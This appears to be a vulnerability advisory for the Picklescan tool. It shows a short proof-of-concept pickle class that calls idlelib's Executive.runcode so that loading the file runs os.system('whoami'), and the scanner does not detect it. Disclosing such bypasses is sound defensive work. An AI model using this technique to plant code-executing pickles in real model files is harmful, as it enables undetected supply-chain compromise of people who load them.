Summary

Using idlelib.run.Executive.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.run.Executive.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.run import Executive
from types import SimpleNamespace

class EvilIdlelibRunExecutiveRuncode:
  def  reduce (self):
    payload = " import ('os').system('whoami')"
    fake self = SimpleNamespace(locals={})
    return Executive.runcode, (fake self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
